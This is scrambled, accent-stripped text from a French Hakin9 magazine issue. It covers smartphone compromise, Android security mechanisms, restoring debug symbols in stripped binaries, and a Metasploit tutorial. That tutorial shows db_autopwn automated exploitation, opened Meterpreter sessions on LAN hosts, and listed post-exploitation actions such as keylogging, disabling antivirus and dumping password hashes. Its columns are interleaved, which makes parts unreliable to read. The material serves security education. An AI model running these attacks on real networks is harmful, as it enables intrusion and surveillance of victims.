Par compromission dun smartphone, nous entendons bien videmment le vol de donnes associ ce dernier grce la lecture des SMS/MMS, la lecture des mails, rcupration de liste de contact etc. mais cela nest pas tout, nous entendons galement les risques pour le systme dinformation sur lequel le smartphone va se connecter suite une attaque. En effet, lors de la synchronisation dun smartphone sur le poste client, une connexion avec le rseau local (le rseau dentreprise) est partage avec le priphrique permettant douvrir un nombre important de vecteur de propagation. Comme le montre la Figure 1, aprs linsertion dun smartphone compromis dans un rseau dentreprise, il est alors possible de vhiculer des attaques contre le rseau interne, les postes clients ainsi que dautre smartphones disponible. Comme nous avons pu le dire prcdemment, des smartphones ayant les systmes dexploitation Windows mobile ou encore Symbian dispose dinterprteur de langages de script tel que Python ou encore Ruby. Grce ces interprteurs de langages de script, il est possible dutiliser des exploits existant ou bien de crer ses propres exploits. Des Framework connu tels que Metasploit regorge dexploits contre les diffrents smartphones pour ceux ntant pas habile avec le code.14 HAKIN9 1/2010

Comment scuriser son smartphone

De nos jours, la scurisation des smartphones reste une partie que bien des personnes ne mettent pas en place du fait que la socit na pas lair de rellement voir les problmes de scurit pouvant tre lis un smartphone compromis. Il existe des antis virus ainsi que des pare feu mais ces derniers ne sont vraiment que peu volu et ne dtectent que trs peu de programmes malicieux. Afin de palier la fuite dinformation dans le cas de perte ou de vol du smartphone, il est possible de mettre en place des solutions de chiffrement. Certaines solutions de chiffrement permettant uniquement de chiffrer les donnes sur le priphriques alors que dautre vont permettre de chiffrer de manire transparente les donnes transitant comme lagenda, les mails, les calendriers. De part la nature du matriel prsent dans les smartphones, il est trs difficile de raliser des outils rellement efficace dans la dtection de code ou de programme malicieux. Afin de rellement pouvoir scuriser son smartphone, il est simplement ncessaire de faire preuve dun peu de logique et de bon sens. Afin dviter une fuite dinformation,

Conclusion

Vous laurez compris, malgr la dmocratisation des smartphones autant dans le monde professionnel que dans la vie de tous les jours, la scurit de ces derniers restent encore trivial et beaucoup moins avanc que les attaques lgard de ces mmes priphriques. Les seules vraies consignes de scurit sont donc la veille des utilisateurs envers les programmes provenant dun expditeur ntant pas sur ainsi que la dsactivation des protocoles de communication nayant pas ncessit dexister (SSH, Bluetooth ). propos de l'auteur

Rgis SENET, actuellement stagiaire pour la socit JA-PSI est tudiant en cinquime anne lcole Suprieur dinformatique Supinfo. Passionn par les tests dintrusion et les vulnrabilits Web, il tente de dcouvrir la scurit informatique dun point de vue entreprise. Il est actuellement en train de sorienter vers le cursus CEH, LPT et Offensive Security. Contact : [email protected] Site internet : http://www.regis-senet.fr

DOSSIERBABACI NABIL

Mcanisme

de Scurit sous AndroidFaire du dveloppement Open-Source devient de plus en plus tendance, surtout si nous pouvons profiter la fois de services qui ont fait leurs preuves dans ce domaine comme le fait si bien Google. Nouveau sur le march des OS embarqus pour les smartphones, Android propose toute une panoplie de services centrs utilisateur mais offre aussi une plateforme de dveloppement alliant puissance et simplicit, offrant les mcanismes de scurit les plus rcents et des plus faciles simple mettre en oeuvre.ans cet article nous traiterons de la scurit d'ordre gnrale sur le systme d'exploitation Open Source Android. Dans un premier temps nous explorerons les arcanes du framework, en consultant les principales briques supportes par le systme. Suivi dans un second temps de la machine virtuelle exotique, Dalvik, qui implmente une utilisation en parfaite symbiose avec le matriel. Puis nous verrons du ct dveloppement les solutions de scurisation offerte par le framework.

Degr de difficult

D

Framework

CET ARTICLE EXPLIQUE...L'architecture globale d'Android. Les diffrents mode de scurit. La machine virtuelle Dalvik.

CE QU'IL FAUT SAVOIR...Programmation java en gnrale. Gnration de certificat de scurit. Architecture systme Linux. 16 HAKIN9 1/2010

Petit rappel, Android, nom de la start-up rachet par Google, cr un OS open-source dont le but est de le distribuer librement et dont son code source est ouvert , sous l'gide de l'Open Handset Alliance, groupe d'une trentaine de partenaires tels que Vodafone, T-Mobile, Samsung et Google. Autant dire un nouveau concurrent pour les OS mobile existant comme le Iphone ou plus rcemment OpenMoko avec son Neo1973. Entrons dans les dtails. Concrtement Android propose un bon nombre d'applications pr-installs, et permet aux dveloppeurs d'utiliser les diffrentes Api disponibles dont les applications sont principalement dveloppes en Java avec une machine virtuelle modifie que nous verrons plus loin dans cette article. Notons toutefois que chaque application est un package fourni en un fichier jar d'extension .apk.

Concernant l'architecture nous pouvons constat plusieurs choses importantes. Android est bas sur un noyau Linux, sa version actuelle est la 2.6.24 mais signalons que l'os n'est pas un Linux en tout point car il se sert uniquement de cette base noyau pour en tirer un maximum d'avantages notamment au niveau de l'interoprabilit avec le matriel, l'ensemble des mcanismes d'ordonnancement, les drivers d'entre-sortie, les fonctions IPC , la scurit, la gestion de l'nergie,sans oublier sa stabilit. Les librairies implmentes sont plthore nous y retrouvons, la libc (nomme Bionic) qui est une drivation de la norme BSD au niveau du standard de la libc, modifie pour les systmes embarqus. La librairie Media pour l'ensemble des formats audio et vido sur PacketVido, Surface Manager qui gre l'affichage des diffrentes couches 2D et 3D. Une librairie WebKit en interaction avec le navigateur. La Sgl qui est un moteur 2D complt par des librairies 3D notamment avec l'implmentation d'OpenGL ES Une librairie FreeType pour de l'affichage vectoriel et SQLite en tant que base de donnes lgre. Mais Android n'inclut pas l'ensemble des standards Linux notamment la norme POSIX. Notons toutefois qu'une couche d'abstraction matrielle est mise en place entre le noyau et les couches suprieures dans le but d'offrir une comptabilit optimum des diffrents support.

ANDROIDDalvik la machine virtuelleTable 1. Listes des packages dans Android Packages Supports java.awt.font java.beans java.io java.lang java.math java.net java.nio java.security java.sql java.text java.util javax.crypto javax.microedition.khronos javax.net javax.security javax.sql javax.xml.parsers org.w3c.dom org.xml.sax Packages Non Supports java.applet java.awt java.lang.management java.rmi javax.accessibility javax.activity javax.imageio javax.management javax.naming javax.print javax.rmi javax.security.auth.kerberos javax.security.auth.spi javax.security.sasl javax.sound javax.swing javax.transaction javax.xml org.ietf.* org.omg.* org.w3c.dom.* Ajoutons aussi les Intents qui sont des objets permettant de vhiculer les messages entre composants principaux notamment les Services, s'excutant en tches de fond, les Activities fournissant des fonctionnalits d'interaction utilisateur et le BroadcastReceiver qui permet l'coute des objets intents sur chaque application. En ce qui concerne le dernier composant ContentProvider (manager de donnes applicatifs), celui-ci ne communique pas avec les Intents. Table 2. Liste des permissions Permissions BLUETOOTH INTERNET CALL_PHONE CHANGE_CONFIGURATION DELETE_PACKAGES READ_SMS Dfinitions Rend disponible l'appairage Permet d'ouvrir des communication sur le rseau Permet d'appeler sans passer par le l'interface d'appel Permet la modification des options de configuration locale. Suppressions de paquets Permet la lecture des SMS1/2010 HAKIN9 17

Toujours dans l'exploration de notre framework, attardons nous sur la machine virtuelle dveloppe pour Android. Elle a t cre dans le but d'offrir un maximum d'avantages dans les systmes ncessitant peu de mmoire vive, un faible espace pour le swapping et pour de faibles processeurs, le tout aliment par une batterie autonome. Dalvik est une machine virtuelle Java sans utiliser l'ensemble des composant lis aux plateforme embarqus, autrement dit une personnalisation de la JVM. Dalvik excute du code java et le transforme en .dex optimis pour le mapping de mmoire et l'excution sur systme embarqu ainsi que pour sa faible taille de fichier. La plupart des programmes sont crits en Java, et utilise Java 5 SE comme API de dveloppement. Cependant l'ensemble de l'API n'est pas utilis. Voici la liste des packages supports et non supports: A cela s'ajoute des librairies tiers dvelopps tels : org.apache.http, org.json, org.xml.sax, org.xmlpull.v1,

SignatureAndroid met disposition un mcanisme de signature digitale pour les applications. Ainsi cela protge de la mise jour frauduleuse ne venant pas dudit auteur. La cration d'un CA de type X.509 est faisable via l'outil Keytool faisant parti de la JRE. Son utilisation est assez simple, crer un dossier qui abritera le certificat et rendez-vous dans le rpertoire bin de JRE et lance l'outil keytool.

et l'ensemble des packages commenant par android et dalvik.

Lors du dveloppement d'une application, les programmes sont isols les uns des autres par de multiple couches de scurit. Une des briques les plus importante est l'Activity Manager, car elle consiste en la gestion du contrle du cycle de vie de l'application. Concrtement l'utilisation du mcanisme de sandboxing permet le cloisonnement des applications et offre une scurit plus adquate ainsi il existe peu de risque de contourner celle-ci. Une des particularits d'Android est que chaque application s'excute dans des processus distinct. Chacun d' eux possde un identifiant unique ( user-id, emprunt au noyau).

Scurit par le cloisonnement

DOSSIERTerminologie Sandbox: mcanisme qui permet l'excution de logiciel avec moins de risques au systme d'exploitation. Ces derniers sont souvent utiliss pour excuter du code non test ou de provenance douteuse. IPC: Inter-Process Communication, regroupent un ensemble de mcanismes permettant des processus concurrents (ou distants) de communiquer.

Figure 1. Architecture : Les diffrentes couches du systme Les paramtres de keytool sont diverses :keytool -v -genkey -alias -validity 16000 -keystore .keystore

.keystore -keyalg RSA

L'outil vous demandera diffrentes informations, tels qu'un password, noms d'organisation... Une fois cela fait, il faut signer l'application, avec un autre outil le Jarsigner tool. Lancez l'outil depuis sont rpertoire bin, les paramtres eux aussi sont diverses :jarsigner -verbose -keystore

s'excute dans un processus diffrent et avec un unique User-id. Partant de l, la communication entre application se fait par une stratgie de permission via un fichier .xml le AndroidManifest.xml. Par dfaut les applications ne peuvent accder certaines ressources ou composants, tels les priphriques bluetooth, la liste des contact ou encore le dispositif de camra.

Voici une liste non exhaustive des permissions prdfinies par Android: Pour configurer le fichier soit nous ditons directement le fichier xml ou soit en mode graphique toujours dans notre IDE. Dans le listing 1 nous avons un exemple d'utilisation dans lequel l'application possde les permissions pour l'accs la rception et l'mission de SMS, ou encore la possibilit d'appairage pour le tlphone, la cration d'une connexion au rseau. Grce toutes ses permissions prdfinies, Android nous simplifie notre gestion des permissions. Et si cela ne

Listing 1. Exemple d'dition de permissions

.keystore -storepass -keypass .apk

Une fois cela fait l'application est prte tre dploye soit sur votre mulateur soit sur votre matriel via la commande adb. Pour plus de simplicit il vous est possible de recourir un Keytool UI en mode graphique dont voici l'adresse : http://yellowcat1.free.fr/ index_ktl.html

Listing 2. Personnalisation

AndroidManifest

Android prvient des problmes lis aux accs des donnes entre processus en faisant de sorte que chaque application18 HAKIN9 1/2010

ANDROIDsuffit pas Android nous permet de crer des permissions personnalises. En voici un exemple dans le listing 2. Pour mieux entreprendre la cration d'une permission, il vous faudra rajouter un tag permission dans lequel il est ncessaire de renseigner ses attributs. Android:name correspond au nom de la permission, ici le nom du package en question. Android:label permet une courte description de notre permission Android:description est une description plus exhaustive Android:permissionGroup renseigne quelle groupe appartient notre permission Android.protectionLevel dfinit le risque potentiel entre normal, dangerous,signature et signatureOrSystem le systme ragira en fonction du niveau indiqu et procdera un renforcement d'accs inhrent. quelques failles de scurit dans ses premires versions. Avoir un systmes fiable sera toujours un enjeu important et demandera beaucoup de temps le scuriser. Un autre problme pourrait venir des dveloppeurs amateurs soit en distribuant les applications via le market soit directement dans leur tlphones. Google n'a pas prvu de mesures pour valider les applications comme le fait Apple ce qui laissent une porte d'entrs aux possible malwares. Une des principales cibles des pirates est le Web. En effet le web est un des points cls des attaques via des sites vrols, mme si Android peut avoir recours au logiciels Savant protection, il n'en reste pas moins que cela reste vulnrable Concernant le noyau, il est vrai qu'un noyau Linux offre pas mal de scurit, mais une des dernires news relaye t la possibilit d'un exploit concernant le root.

Sur Internet http://developer.android.com/intl/fr/ index.html Pour en apprendre plus sur le SDK Android http://www.dalvikvm.com/ Ressource sur la DVM.

en avant les dveloppements libres, le support de plusieurs plateforme via sa HAL et son noyau Linux. Les mcanismes de cloisonnement apportes beaucoup plus de scurit cependant, le fait d'avoir un systme ouvert permet videmment d'avoir des risques potentiel de failles, notamment prouvs par l'envoi de SMS malicieux comme sur l'Iphone. Nanmoins, le systme Android offre dans sa majorit peu d'accroches pour les pirates. Et le sandboxing est l pour justement limits au maximum les drives possible. Auteur

Problmatique de ScuritUne des principales problmatiques vhicules a t que le SDK rvlait

Conclusion

Android est un systme prcurseur dans son domaine dans la mesure, o il met PUBLICIT

Passionn de scurisation informatique, BABACI Nabil, suit actuellement un cursus d'ingnierie logiciel au sein de l'Exia. Il est membre fondateur de l'association Linux en Champagne, promouvant l'image de Linux et UNIX sur Reims. Vous pouvez le contacter cette adresse : [email protected]

1/2010 HAKIN9

19

JUSTIN SUNWOO KIM

FOCUS Restaurer

les symboles de dbogage partir de binaires compils statiquementLa restauration des symboles de dbogage est primordiale pour mieux apprhender les problmes spcifiques aux fichiers binaires stripps. La mthode expose dans le prsent article peut tre rutilise dans d'autres champs d'tude.

Degr de difficult

e nombreux malwares sont compils au format strip pour contrer les tentatives d'analyses. Toutefois, une mthode existe pour mieux dboguer et analyser ces malwares ainsi que les fichiers binaires. La mthode que j'utilise s'apparente aux mthodes de recherche par signature, telles que FLIRT. Dans cet article, je vous montrerai comment trouver des fonctions libc ayant le format binaire ELF.

D

Premire question et non des moindres, que sont les symboles de dbogage ?

plusieurs fonctions facilitant la programmation en C sous Linux. Citons-en quelques unes : strcpy, memcpy, printf... Je suis pose que plusieurs d'entre vous connaissent dj ces fonctions. Pourquoi s'intresser la librairie libc ? Dans le cadre de cet article, je vais vous expliquer comment trouver des fonctions libc dans des fichiers binaires statiques (au format strip). La mthode expose est galement valable pour les autres librairies.

Compilation statique

Les symboles de dbogage reprsentent des ensembles dinformations compiles au format binaire facilitant le processus de dbogage. Ces fichiers regroupent des noms de variables, noms de fonctions, offset... Vous pouvez accder aux symboles avec les commandes objdump, gdb, et nm. La Figure 1 illustre un cas d'utilisation de gdb avec un fichier binaire incluant des symboles de dbogage. La fonction main appel une autre fonction, le nom de la fonction appele est affich en face de son adresse. Grce aux symboles, nous pouvons facilement obtenir plus d'informations sur ces fonctions. La commande 'objdump' est similaire gdb. La commande 'nm' est celle qui nous intresse le plus. Cette dernire permet de lister l'ensemble des symboles appartenant au fichier binaire ainsi que leur emplacement en mmoire, offset, taille, index...

Qu'est-ce qu'une compilation statique ? La plupart des compilateurs utilisent par dfaut un diteur de liens dynamiques pour lier un fichier binaire et une fonction provenant d'une autre librairie, ceci permet vite que le code des fonctions soit en un seul et mme endroit (principe de granularit/ modularit). Prenons un exemple, vous souhaitez afficher le message hello world en utilisant la fonction printf. Un fichier binaire compil dynamiquement dispose d'un lien spcifique pour glibc qui rfrence la fonction printf. Toutefois, si ce fichier binaire est compil de manire statique, alors il se rfre sa propre version de printf qui se trouve dans le fichier, la dpendance est donc plus forte. Reportez-vous la Figure 2 et 3 pour mieux comprendre les diffrences entre la compilation statique et les liens dynamiques.

Librairie libc

Loutil nm

La librairie libc est la librairie standard spcifique au langage C dvelopp par GNU. Elle inclut20 HAKIN9 1/2010

Loutil 'nm' est l'une de mes applications prfres, il permet de trouver facilement des symboles ainsi que les informations associes. Pour mieux

DBOGAGEaborder la suite de cet article, vous devez comprendre certains mcanismes en jeu. En effet, nous allons parser (analyser et excuter) puis rcuprer des informations relatives aux offsets et la taille des symboles que nm aura trouvs. Reporte-vous la Figure 4 pour avoir un exemple d'utilisation de l'outil nm. Vous pouvez voir l'adresse de l'emplacement du symbole dans la premire colonne. Dans la seconde colonne figure les types de symboles. La troisime et dernire colonne affiche le nom des symboles. Comme vous pouvez le constater, il existe une multitude de types de symboles. Dans notre exemple, T signifie qu'il s'agit d'une zone texte. W signifie qu'il s'agit d'un symbole faible et R d'un symbole en lecture seule. Le manuel nm regroupe de plus amples informations sur les diffrentes reprsentations.

Figure 1.

Stripper un fichier binaire

La technique du 'Stripping' permet de supprimer tous les symboles de dbogage prsents dans un fichier binaire. Pour cela on utilise la commande 'strip', qui se trouve dans /usr/bin/strip. Aprs avoir stripp un fichier binaire, vous vous apercevrez que certaines informations ne sont plus affiches. La Figure 5 est un dump de code assembleur sans informations de dbogage. Mme si printf est prsent dans le dump, il s'agit uniquement d'une rfrence de l'emplacement de la fonction. Remarque : @plt+0x99 se trouve aprs printf, cela signifie qu'elle est situe 0x99 octets de l'adresse de printf. La Figure 6 illustre ce qu'est un fichier binaire stripp.

diffrente n'a pas la mme version, il ne serait donc pas intressant ni envisageable d'avoir un pattern unique par systme. Le mieux est encore de disposer d'un gnrateur automatique de patterns afin de gnrer des patterns

ayant leur propre libraire installe sur le systme. Un autre problme se pose, le code des fonctions libc des binaires compils statiquement est diffrent. En effet, chaque binaire compil de manire statique dispose d'un ensemble

Figure 2.

Figure 3.

Que peut-on considrer comme pattern de fonction ? Question simple, rponse simple : toutes les fonctions disposant de leur propre code assembleur. Le fait de croiser le code assembleur dans les fichiers binaires nous permettrait d'obtenir le rsultat souhait. Par exemple, la Figure 7 illustre les opcodes de la fonction printf dans un fichier statique. Certes, nous pouvons passer en revue toutes les fonctions une par une. Cependant, chaque librairie est de nature

Patterns de fonctions

Figure 4.1/2010 HAKIN9 21

FOCUSde fonctions et d'offsets spcifiques. Idalement il conviendrait de comparer le code de la fonction avec le fichier binaire, mais il faudrait gnrer un pattern de fonction pour les 20 ou 30 premiers octets.

L'implmentation d'un outil de restauration des symboles de dbogage se rsume en deux tapes : un gnrateur automatique de patterns de fonctions et un programme de vrification des patterns de fonctions. L'implmentation d'un gnrateur automatique de patterns de fonction se fait en quelques tapes. Les fonctions appartenant au fichier libc.so.6 sont analyses. La commande 'nm' permet de liste toutes les fonctions de la librairie libc. Lorsque l'existence de la fonction est teste, le programme tentera de compiler son code source. Une fois le code compil, le gnrateur recherchera l'emplacement (offset) de la fonction en utilisant la commande nm nouveau dans le fichier binaire. En soustrayant 0x08041000 l'offset de l'emplacement de la zone texte d'un binaire ELF, on dtermine l'emplacement de la fonction. Le nombre exact d'octets cette adresse est copi et sauvegard dans la liste du fichier pattern. Lorsque le gnrateur a effectu cette tche, la correspondance des patterns dbute. L'implmentation du programme de correspondance des patterns permettra de comparer le pattern avec le fichier binaire, et convertira l'offset de la fonction l'adresse courante du fichier binaire en ajoutant 0x08041000, pour dcouvrir l'emplacement de la fonction dans le binaire cible. Par exemple, pour trouver la fonction strcpy partir d'un fichier binaire, il faut d'abord gnrer la signature de la fonction strcpy. Il suffit pour cela d'utiliser objdump (Voir Listing 1). La signature ressemble ceci :\x55\x31\xd2\x89\xe5\x56\x8b\x75\ x08\x53\x8b\x5d\x0c\x8d\x4e\xff\ x0f\xb6\x04\x13\x88\x33\x11\x01\ x83\xc2\x01\x84\xc0\x75\xf1\x89\ xf0\x5b\x5e\x5d\xc3

Outil de restauration des symboles de dbogage

Figure 5.

Figure 6. Listing 1.080681b0 : 80681b0: 55 80681b1: 31 d2 80681b3: 80681b5: 80681b6: 80681b9: 80681ba: 80681bd: 80681c0: 80681c4: 80681c8: 80681cb: 80681cd: 80681cf: 80681d1: 80681d2: 80681d3: 80681d4: 89 56 8b 53 8b 8d 0f 88 83 84 75 89 5b 5e 5d c3 e5 75 08 5d 4e b6 44 c2 c0 f1 f0 0c ff 04 13 11 01 01 push xor mov push mov push mov lea movzbl mov add test jne mov pop pop pop ret %ebp %edx,%edx %esp,%ebp %esi 0x8(%ebp),%esi %ebx 0xc(%ebp),%ebx -0x1(%esi),%ecx (%ebx,%edx,1),%eax %al,0x1(%ecx,%edx,1) $0x1,%edx %al,%al 80681c0 %esi,%eax %ebx %esi %ebp

22 HAKIN9 1/2010

DBOGAGEListing 2a. pgfh.c#define _GNU_SOURCE #include #include #include #include #include "func.h" #define #define #define #define #define #define #define #define #define #define PATTERN_BUF_SIZ 1024 NM_PATH "/usr/bin/nm" GCC_PATH "/usr/bin/gcc" OBJ_PATH "/usr/bin/objdump" ADDRESS_BASE 0x8048000 CFILENAME ".pg.c" EFILENAME ".pg" HFILENAME "pattern.h" MAX_ARG 6 PATTERN_SIZ 25

#define TEMPL_INCLUDE "#include \n#include \n#include \n#include \n#include \ n#include \n" #define TEMPL_HEADER "int main(){" #define TEMPL_FOOTER "}" #define HEADER_HEADER "#ifndef __HARA_PATTERN_H__\n#define __HARA_PATTERN_H__\n\n/* librairie libc - liste des patterns de fonctions */\n/* cr l'aide d'un gnrateur de pattern pour Hara */\n\nchar *pattern[]={\n" #define HEADER_FOOTER "#endif" //variables globales void *libcAddr; char *libcPath; int checkPattern(char *buf1, char *buf2, size_t n); static int find_libcaddr(struct dl_phdr_info *info, size_t size, void *data){ char buf[9]; //s'il s'agit d'un module libc, alors stocker les infos if(strstr(info->dlpi_name, "libc")){ //stocker les adresses sprintf(buf, "%08x", info->dlpi_addr); sscanf(buf, "%x", &libcAddr); //sauvegarde du chemin d'accs libcPath=malloc(strlen(info->dlpi_name)+1); strcpy(libcPath, info->dlpi_name); } return 0;

}

int main(int argc, char **argv){ int i,j,k; int r; int nFunc=0; int nTotal=0; int pos; //file pos char buf[PATTERN_BUF_SIZ]; char buf2[PATTERN_BUF_SIZ]; char patternbuf[PATTERN_BUF_SIZ]; char filebuf[PATTERN_BUF_SIZ]; char *funcAddr; char ch;

1/2010 HAKIN9

23

FOCUSListing 2b. pgfh.cint funcSize; int readSize; int funcOffset; int compiled; int found; FILE *fp; FILE *sp; FILE *hp; struct stat statbuf; /* En-ttes */ printf("============== Gnrateur de pattern pour HARA v1.0 ==============\n"); printf("[=] gnrateur automatique de pattern pour hara\n"); printf("[=] z0nKT1g3r @ WiseguyS\n"); printf("[=] http://0xbeefc0de.org\n"); /* Initialisation des variables pour la mise en correspondance avec les patterns */ if(dl_iterate_phdr(find_libcaddr, NULL) -----------\ ,__, ____________

Chargement et exploitation du rapport de vulnrabilit dans Metasploit

[*] Creating a new database [*] Successfully connected [*] File: my_scan to the database

[...]

Importons maintenant le rapport d'OpenVAS au format NBE :msf > db_import_nessus_nbe my_scan_result.nbe

[*] Matched auxiliary/dos/windows/ smb/smb2_negotiate_pidhigh against 192.168.0.26:445... smb/smb2_negotiate_pidhigh

[*] Matched auxiliary/dos/windows/ against 192.168.0.26:445...

Pour vrifier que l'importation s'est effectue correctement, il est possible de lister les htes, les services et les

[...]

[-] Exploit failed: The connection was refused by the remote host (192.168.0.74:445).

[*] Matched exploit/solaris/samba/ lsa_transnames_heap against

Listing 3. Cration du compte utilisateur autoris se connecter au serveur OpenVAS.$ sudo openvas-adduser Add a new openvasd user Login : user_pentest Authentication (pass/cert) [pass] : Login password : Login password (again) : User rules openvasd has a rules system which allows you to restrict the hosts that user_pentest has the right to test. For instance, you may want him to be able to scan his own host only. Please see the openvas-adduser(8) man page for the rules syntax. Enter the rules for this user, and hit ctrl-D once you are done: (the user can have an empty rules set)

La mthode d'installation de nmap dtaille ici a pour principal avantage de toujours mettre disposition les dernires versions (ici la version nmap v5.05 BETA1), en revanche celles-ci peuvent prsenter des bugs :~$ nmap -V

Avantage de l'installation de Nmap avec subversion

Nmap version 5.05BETA1 ( http: //nmap.org )

Login Password Rules

: user_pentest : *********** :

Is that ok? (y/n) [y] y user added.

Cette mthode d'installation va galement permettre d'installer les scripts complmentaires de nmap, option script. Exemple de script : smb-checkvulns.nse, ce script permet de vrifier si le patch MS08-067 est install, si smbv2 est prsent et vulnrable la dernire faille de scurit et si le PC est infect par le virus confliker.

1/2010 HAKIN9

37

ATTAQUE[*] Started bind handler 192.168.0.74:445...

Vrifions maintenant que les vulnrabilits ont t exploite avec succs avec la commande suivante :msf > sessions -l Active sessions =============== Id -1 2

Description ----------Meterpreter Meterpreter

Tunnel -----192.168.0.15:36353 192.168.0.15:39887

-> 192.168.0.26:29721

-> 192.168.0.122:35207

Nous constatons ici qu'un shell a t ouvert entre notre serveur (192.168.0.15) et deux htes distants (192.168.0.26 et 192,168,0,122) sur le port TCP 29721 et 35207. Pour nous connecter ces sessions, nous utilisons la commande session -i x - o x reprsente numro de la session laquelle nous souhaitons nous connecter :msf > sessions -i 1 meterpreter >

Figure 3. Rapport d'analyse de vulnrabilit OpenVAS et exportation au format nbe passe (LMHash et NThash) prsents sur l'ordinateur, Notre attaquant n'a donc que l'embarras du choix, il n'est maintenant limit que par son imagination pour continuer son intrusion. Crons dans Metasploit la base de donnes dans laquelle sera automatiquement import le rsultat du scan nmap :msf > db_create my_nmap_scan [*] Creating a new database [*] Successfully connected [*] File: my_nmap_scan to the database instance...

Une alternative OpenVAS : utiliser nmap

[*] Starting interaction with 1...

Nous disposons donc maintenant d'un accs total nos htes distants. Un grand nombre d'actions peut tre menes : visualiser et arrter des processus (tel que l'antivirus), modifier des fichiers et la base de registre, crer un compte utilisateur local administrateur de l'ordinateur, lancer un keylogger pour espionner les frappes au clavier ou voler les mots de passe de connexion, prendre des captures de l'cran de notre victime, allumer le microphone pour enregistrer les bruits et conversations aux alentours de l'ordinateur, lancer un sniffer rseau partir de notre victime, faire un dump de la RAM la recherche d'informations intressantes, dcouvrir les hashs des mots de38 HAKIN9 1/2010

Une alternative l'utilisation de Nessus ou OpenVAS est d'utiliser l'outil nmap. Ce dernier ne permettra pas de dcouvrir les vulnrabilits mais donnera, rapidement, une liste d'htes et de services qui pourront tre exploits par Metasploit. Comme pour OpenVAS et Metasploit, nous proposons, une autre manire d'obtenir le plus clbre scanner rseau (plutt que de l'installer par les traditionnels paquets .deb ou rpm). Nous prsentons ici l'installation de nmap avec le logiciel de gestion de version : subversion (ou svn) :$ svn co --username guest --password '' svn:// svn.insecure.org/ $ cd nmap nmap

Lanons prsent la commande db_nmap qui appellera le binaire nmap local :msf > db_nmap -T4 -F 192.168.0.1-254 [*] exec: "/usr/local/bin/nmap" "-T4" "-F" "192.168.0.1-254" -1dzzbgj-0"

"-oX" "/tmp/dbnmap20091027-12252 NMAP:

NMAP: Starting Nmap 5.05BETA1 ( http://nmap.org ) at 2009-10-27 12:33 CET

NMAP: Nmap scan report for (192.168.0.20) ma_victime01.domain.com

NMAP: Not shown: 96 closed ports NMAP: PORT NMAP: 22/tcp STATE SERVICE open open open open ssh ipp rpcbind squid-http

$ sudo make install

$ ./configure && make

NMAP: 111/tcp NMAP: 631/tcp NMAP: 3128/tcp (VMware)

A noter : Si les outils de compilation ne sont pas prsents sur le serveur, il sera ncessaire de les installer pralablement :sudo apt-get install gcc g++

NMAP: MAC Address: 00:50:56:99:6E:F7 NMAP: [...]

AUTOMATISERComme prcdemment, il est possible de visualiser les htes ainsi dcouverts, et les services associs :msf > db_hosts host=192.168.0.20 port=80 proto=tcp state=up name=http [*] Matched auxiliary/scanner/http/ wmap_webdav_internal_ip against 192.168.0.9:80...

[*] Time: Tue Oct 27 08:47:03 +0100 2009 Service: host=192.168.0.21 port=22

[*] Matched auxiliary/scanner/ 192.168.0.20:80...

[*] Time: Tue Oct 27 08:47:03 alive OS:

http/wmap_svn_scanner against

+0100 2009 Host: 192.168.0.9Status:

[*] Time: Tue Oct 27 08:47:03 Status: alive OS:

[*] Time: Tue Oct 27 08:47:03 +0100 2009 Service: host=192.168.0.21 port=80 proto=tcp

proto=tcp state=up name=ssh

[*] Matched auxiliary/scanner/http/ wmap_replace_ext against 192.168.0.55:80...

+0100 2009 Host: 192.168.0.18

[]

[*] Time: Tue Oct 27 08:47:03 Status: alive OS:

+0100 2009 Host: 192.168.0.20

[*] Time: Tue Oct 27 08:47:03 +0100 2009 Service: host=192.168.0.21 port=427 proto=tcp []

state=up name=http

[*] Time: Tue Oct 27 08:47:03 Status: alive OS:

+0100 2009 Host: 192.168.0.26

[]

state=up name=svrloc

A noter : l'option -x (exploitation suivant les vulnrabilits prsentes dans la base Metasploit) a t remplace par l'option -p qui se base sur les ports de l'htes distant. Nous avons en retour, comme prcdemment deux sessions tablies entre notre serveur et nos htes distants :msf > sessions -l Active sessions =============== Id -1

msf > db_services

[*] Time: Tue Oct 27 08:47:03 +0100 2009 Service: host=192.168.0.20 port=22 proto=tcp [*] Time: Tue Oct 27 08:47:03 +0100 2009 Service: state=up name=ssh

Automatisons, pour finir, l'exploitation des vulnrabilits avec la commande suivante :msf > db_autopwn -t -p -b -e [*] Analysis completed in (0 vulns / 0 refs) 144.343488931656 seconds

Description ----------Meterpreter

Tunnel -----192.168.0.15:50649

-> 192.168.0.26:28985

PUBLICIT

1/2010 HAKIN9

39

ATTAQUEListing 4. Mise jour du framework Metasploit,$ sudo svn update U U U U U [...] scripts/meterpreter/multiscript.rb scripts/meterpreter/getgui.rb scripts/meterpreter/uploadexec.rb modules/exploits/windows/misc/windows_rsh.rb data/wmap/wmap_dirs.txt

Sur Internet http://www.openvas.org Site Internet du projet OpenVAS, http://www.metasploit.com/ Site Internet du projet Metasploit, http://nmap.org/ - Site du projet nmap http://blog.metasploit.com/2006/ 09/metasploit-30-automatedexploitation.html la page du projet Metasploit annonant la fonction db_autopwn 2 Meterpreter 192.168.0.15:25632

Updated to revision 7152.

Listing 5. Inventaire des htes, services et vulnrabilits imports dans Metasploitmsf > db_hosts [*] Time: Fri Oct 23 09:29:24 +0200 2009 Host: 192.168.0.20 Status: alive OS: [*] Time: Fri Oct 23 09:29:24 +0200 2009 Host: 192.168.0.18 Status: alive OS: [*] Time: Fri Oct 23 09:29:24 +0200 2009 Host: 192.168.0.9 Status: alive OS: [...] [*] Time: Fri Oct 23 09:29:24 +0200 2009 Host: 192.168.0.26 Status: alive OS: msf > db_services

-> 192.168.0.122:25487

[*] Time: Fri Oct 23 09:29:24 +0200 2009 Service: host=192.168.0.20 port=22 [*] Time: Fri Oct 23 09:29:24 +0200 2009 Service: host=192.168.0.9 port=80 [*] Time: Fri Oct 23 09:29:25 +0200 2009 Service: host=192.168.0.18 port=445 [*] Time: Fri Oct 23 09:29:25 +0200 2009 Service: host=192.168.0.26 port=445 [...] proto=tcp state=up name=microsoft-ds proto=tcp state=up name=microsoft-ds proto=tcp state=up name=http proto=tcp state=up name=ssh

